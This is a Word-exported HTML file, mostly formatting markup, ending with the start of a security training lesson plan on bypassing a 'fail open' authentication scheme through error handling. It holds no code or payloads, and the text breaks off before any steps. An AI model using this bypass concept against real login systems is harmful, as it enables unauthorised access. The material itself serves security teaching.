DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'> How to Bypass a Fail Open
|
||||
Authentication Scheme<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Concept / Topic To Teach:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'> Abusing error handling.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson presents
|
||||
the basics for understanding the "fail open" condition regarding
|
||||
authentication. The security term, "fail open" describes a behavior of a
|
||||
verification mechanism. This is when an error (i.e. unexpected exception)
|
||||
occurs during a verification method causing that method to evaluate to true.
|
||||
This is especially dangerous during login. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The user
|
||||
should be able to bypass the authentication check.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
